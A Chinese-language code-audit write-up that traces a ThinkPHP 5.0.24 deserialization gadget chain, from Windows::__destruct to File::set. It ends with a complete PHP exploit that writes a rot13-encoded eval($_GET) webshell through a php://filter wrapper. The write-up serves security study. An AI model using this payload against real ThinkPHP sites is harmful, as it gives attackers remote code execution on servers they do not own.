源码配置及前言

因为本人代码审计能力偏弱,想从PHP框架漏洞开始上上手。于是先挑ThinkPHP来弄,预期是收获一些框架审计的默认思路及技巧。

源码下载:

Thinkphp5下载_Thinkphp5框架免费下载V5.0.24 - 系统之家

我之前搜了好多源码下载,下载出来的东西都没有这个系统目录:

image-20250317184354848

漏洞分析

链子分析

该漏洞需要二次开发实现了反序列化才可以使用,所以我们模拟下漏洞环境,在/application/index/controller/Index.php添加:

1
2
3
4
5
6
7
8
class Index
{
public function index()
{
echo "Welcome thinkphp 5.0.24";
unserialize(base64_decode($_GET['a']));
}
}

链子的终点是触发Output类下的__call魔术方法进行RCE:

image-20250317192843250

tips:
用PHPStorm去框架中找类的时候,Ctrl+Shift+F,class 类名即可快速定位。

我们从头开始,全局搜索__destruct(),一般这种方法会是入口。

关注到Windows#__destruct()

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

接着跟进到removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

我们可以看到这里调用了file_exists(),它能够调用__toString(),见下面的Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class MyClass {
public function __toString() {
echo 'toString';
return '返回值';
}
}

$obj = new MyClass();
echo(gettype($obj));
echo "<br>"; //换行,\n在浏览器中不会被解析
file_exists($obj);

?>
/*
object
toString
*/

$obj的类型是object,file_exists()需要接受一个String格式的参数,在这个过程中进行了类型转化,导致__toString()被触发。

关注到think\Model.php#toString()

1
2
3
4
public function __toString()
{
return $this->toJson();
}

调用了toJson()

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

调用了toArray()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

源码很长,但我们只需关注到这里:

image-20250318091129046

902行,观察下$value变量怎么来的:

1
$value         = $this->getRelationData($modelRelation);

跟进到getRelationData()

image-20250318091442543

首先我们需要通过判断,parent才会赋值给value,parent变量可控,第一个条件过。

接下来需要看getRelationData()方法传参中的Relation类,关注isSelfRelation()

image-20250318091827397

selfRelation变量可控,过。

剩下这个判断了:get_class($modelRelation->getModel()) == get_class($this->parent)

先看看getModel()

image-20250318092148498

query可控,而且关注到:\think\db\Query#getModel()

image-20250318092427700

这个model也可控,过。

因这个getModel()返回值与parent都可控,所以第三个判断也能过。

现在看下是否能正常传入Relation类对象,回到\think\Model#toArray()中。

image-20250318104825014

$modelRelation由$relation()进行赋值。

$xxx()是PHP的动态方法调用,这里会先解析变量$relation的值,然后调用值()

所以我们关注到$relation是怎么赋值的:

image-20250318110157458

调用了parseName():

image-20250318110408318

$type传入1,$ucfirst传入false,进入if判断。

这个函数没什么特殊操作,只是把带下划线的名字改成驼峰命名法,所以其返回值是可控的。

我们仍需要通过if判断,才能给$value赋值。

image-20250318111511417

method_exists()第一个参数被定死成$this,说明$relation只能是该类think\Model下的方法。

我们观察到类中还有这样一个方法:

image-20250318111648044

太完美了,$error可控。

image-20250318154030160

还需要通过两个if判断,才可以调用到__call()


  • $modelRelation(Relation对象类型)是否有getBindAttr()函数,我们全局搜索一下getBindAttr(),发现OneToOne类

image-20250318154750916

  1. 该类继承于Relation类
  2. 该类getBindAttr()返回值可控
  3. 该类是抽象类,无法被实例化成对象

  • $bindAttr不能为空

这个条件就很简单了,观察下$bindAttr的赋值:

1
$bindAttr = $modelRelation->getBindAttr();

这不就是调用了上面那个getBindAttr()嘛,返回值可控。

由于OneToOne无法直接被实例化,我们查找下别的类。

右键OneToOne,查找用法,关注到HasOne类:

image-20250318155352845

类中并未重写getBindAttr(),太棒了。


还记得终点吗?我们通过$value->getAttr($attr)的方式触发Output类下的__call()

$attr必须要可控,跟下$attr变量:

image-20250318155758917

光想有点想不出来,写个Demo就知道了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class MyClass {
public $name = 'Alice';
public $age = 25;
private $secret = 'hidden';
}

$bindAttr = new MyClass();
foreach ($bindAttr as $key => $attr) {
echo "$key: $attr\n";
}

/*
name: Alice
age: 25
*/

接下来我们看看Output#__call()

image-20250318160943154

看看call_user_func_array()调用的这个block()是什么:

image-20250318161025563

跟进writeln()

image-20250318161132069

跟进write()

image-20250318162600245

$handler可控,我们要找一个能写Webshell的类:think\session\driver\Memcache#write()

image-20250318162706962

$handler可控,我们还需要选择合适类中的set()think\cache\driver\File#set()

image-20250318162913759

典中典之file_put_contents(),关注一下两个参数:$filename与$data。


image-20250318163035123

getCacheKey()

image-20250318165151957

文件名被md5加密,前面的值可知,后缀为php被锁定。


image-20250318165924180

$data由$value序列化得来,而$value在传参时已被定死为true,所以$data不可控。


回到set()继续往下看,有个setTagItem($filename)调用了$filename,跟进:

image-20250318170532842

setTagItem()

image-20250318170636933

这个方法中再一次调用了set(),且这一次$value的值不再是定值,意味着$data是可控的。

利用与绕过

我们利用file_put_contents()写马,会被exit()干扰:

image-20250318202628573

这里我们可以通过php伪协议进行绕过,见下面的demo:

1
2
3
4
<?php
$filename = "php://filter/write=string.rot13/resource=1.php";
$content = "<?php exit(); ?>".$filename;
file_put_contents($filename, $content);

文章 - Thinkphp5.0反序列化链在Windows下写文件的方法 - 先知社区

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
private $files = [];

function __construct(){
$this->files = [new Pivot()];
}
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}

}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;

function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();

}
}

namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}

namespace think\model;
use think\Model;
class Pivot extends Model{


}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));